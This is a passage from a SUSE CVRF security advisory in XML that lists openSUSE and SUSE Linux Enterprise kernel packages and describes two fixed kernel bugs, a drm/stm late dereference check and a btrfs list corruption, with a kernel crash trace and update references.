    <Relationship ProductReference="dtb-xilinx-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1">dtb-xilinx-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="gfs2-kmp-64kb-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1">gfs2-kmp-64kb-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="gfs2-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1">gfs2-kmp-default-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-64kb-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1">kernel-64kb-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-64kb-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1">kernel-64kb-devel-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-64kb-extra-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1">kernel-64kb-extra-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-64kb-optional-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1">kernel-64kb-optional-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-debug-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1">kernel-debug-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-debug-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1">kernel-debug-devel-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-debug-vdso-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1">kernel-debug-vdso-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1">kernel-default-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1">kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1">kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1">kernel-default-devel-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-extra-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1">kernel-default-extra-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-livepatch-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1">kernel-default-livepatch-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-livepatch-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1">kernel-default-livepatch-devel-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-optional-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1">kernel-default-optional-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-default-vdso-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1">kernel-default-vdso-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1">kernel-devel-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-docs-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1">kernel-docs-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-docs-html-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1">kernel-docs-html-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-kvmsmall-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1">kernel-kvmsmall-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-kvmsmall-devel-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1">kernel-kvmsmall-devel-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-kvmsmall-vdso-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1">kernel-kvmsmall-vdso-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-macros-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1">kernel-macros-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-obs-build-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1">kernel-obs-build-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-obs-qa-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1">kernel-obs-qa-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-source-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1">kernel-source-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-source-vanilla-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1">kernel-source-vanilla-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-syms-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1">kernel-syms-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kernel-zfcpdump-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1">kernel-zfcpdump-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kselftests-kmp-64kb-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1">kselftests-kmp-64kb-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="kselftests-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1">kselftests-kmp-default-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="ocfs2-kmp-64kb-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1">ocfs2-kmp-64kb-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="ocfs2-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1">ocfs2-kmp-default-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="reiserfs-kmp-64kb-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1">reiserfs-kmp-64kb-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
    <Relationship ProductReference="reiserfs-kmp-default-6.4.0-150600.23.87.1" RelationType="Default Component Of" RelatesToProductReference="openSUSE Leap 15.6">
      <FullProductName ProductID="openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1">reiserfs-kmp-default-6.4.0-150600.23.87.1 as a component of openSUSE Leap 15.6</FullProductName>
    </Relationship>
  </ProductTree>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="1">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

drm/stm: ltdc: fix late dereference check

In ltdc_crtc_set_crc_source(), struct drm_crtc was dereferenced in a
container_of() before the pointer check. This could cause a kernel panic.

Fix this smatch warning:
drivers/gpu/drm/stm/ltdc.c:1124 ltdc_crtc_set_crc_source() warn: variable dereferenced before check 'crtc' (see line 1119)</Note>
    </Notes>
    <CVE>CVE-2023-53714</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2023-53714.html</URL>
        <Description>CVE-2023-53714</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1254465</URL>
        <Description>SUSE Bug 1254465</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="2">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix adding block group to a reclaim list and the unused list during reclaim

There is a potential parallel list adding for retrying in
btrfs_reclaim_bgs_work and adding to the unused list. Since the block
group is removed from the reclaim list and it is on a relocation work,
it can be added into the unused list in parallel. When that happens,
adding it to the reclaim list will corrupt the list head and trigger
list corruption like below.

Fix it by taking fs_info-&gt;unused_bgs_lock.

  [177.504][T2585409] BTRFS error (device nullb1): error relocating ch= unk 2415919104
  [177.514][T2585409] list_del corruption. next-&gt;prev should be ff1100= 0344b119c0, but was ff11000377e87c70. (next=3Dff110002390cd9c0)
  [177.529][T2585409] ------------[ cut here ]------------
  [177.537][T2585409] kernel BUG at lib/list_debug.c:65!
  [177.545][T2585409] Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
  [177.555][T2585409] CPU: 9 PID: 2585409 Comm: kworker/u128:2 Tainted: G        W          6.10.0-rc5-kts #1
  [177.568][T2585409] Hardware name: Supermicro SYS-520P-WTR/X12SPW-TF, BIOS 1.2 02/14/2022
  [177.579][T2585409] Workqueue: events_unbound btrfs_reclaim_bgs_work[btrfs]
  [177.589][T2585409] RIP: 0010:__list_del_entry_valid_or_report.cold+0x70/0x72
  [177.624][T2585409] RSP: 0018:ff11000377e87a70 EFLAGS: 00010286
  [177.633][T2585409] RAX: 000000000000006d RBX: ff11000344b119c0 RCX:0000000000000000
  [177.644][T2585409] RDX: 000000000000006d RSI: 0000000000000008 RDI:ffe21c006efd0f40
  [177.655][T2585409] RBP: ff110002e0509f78 R08: 0000000000000001 R09:ffe21c006efd0f08
  [177.665][T2585409] R10: ff11000377e87847 R11: 0000000000000000 R12:ff110002390cd9c0
  [177.676][T2585409] R13: ff11000344b119c0 R14: ff110002e0508000 R15:dffffc0000000000
  [177.687][T2585409] FS:  0000000000000000(0000) GS:ff11000fec880000(0000) knlGS:0000000000000000
  [177.700][T2585409] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  [177.709][T2585409] CR2: 00007f06bc7b1978 CR3: 0000001021e86005 CR4:0000000000771ef0
  [177.720][T2585409] DR0: 0000000000000000 DR1: 0000000000000000 DR2:0000000000000000
  [177.731][T2585409] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:0000000000000400
  [177.742][T2585409] PKRU: 55555554
  [177.748][T2585409] Call Trace:
  [177.753][T2585409]  &lt;TASK&gt;
  [177.759][T2585409]  ? __die_body.cold+0x19/0x27
  [177.766][T2585409]  ? die+0x2e/0x50
  [177.772][T2585409]  ? do_trap+0x1ea/0x2d0
  [177.779][T2585409]  ? __list_del_entry_valid_or_report.cold+0x70/0x72
  [177.788][T2585409]  ? do_error_trap+0xa3/0x160
  [177.795][T2585409]  ? __list_del_entry_valid_or_report.cold+0x70/0x72
  [177.805][T2585409]  ? handle_invalid_op+0x2c/0x40
  [177.812][T2585409]  ? __list_del_entry_valid_or_report.cold+0x70/0x72
  [177.820][T2585409]  ? exc_invalid_op+0x2d/0x40
  [177.827][T2585409]  ? asm_exc_invalid_op+0x1a/0x20
  [177.834][T2585409]  ? __list_del_entry_valid_or_report.cold+0x70/0x72
  [177.843][T2585409]  btrfs_delete_unused_bgs+0x3d9/0x14c0 [btrfs]

There is a similar retry_list code in btrfs_delete_unused_bgs(), but it is
safe, AFAICS. Since the block group was in the unused list, the used bytes
should be 0 when it was added to the unused list. Then, it checks
block_group-&gt;{used,reserved,pinned} are still 0 under the
block_group-&gt;lock. So, they should be still eligible for the unused list,
not the reclaim list.

The reason it is safe there it's because because we're holding
space_info-&gt;groups_sem in write mode.

That means no other task can allocate from the block group, so while we
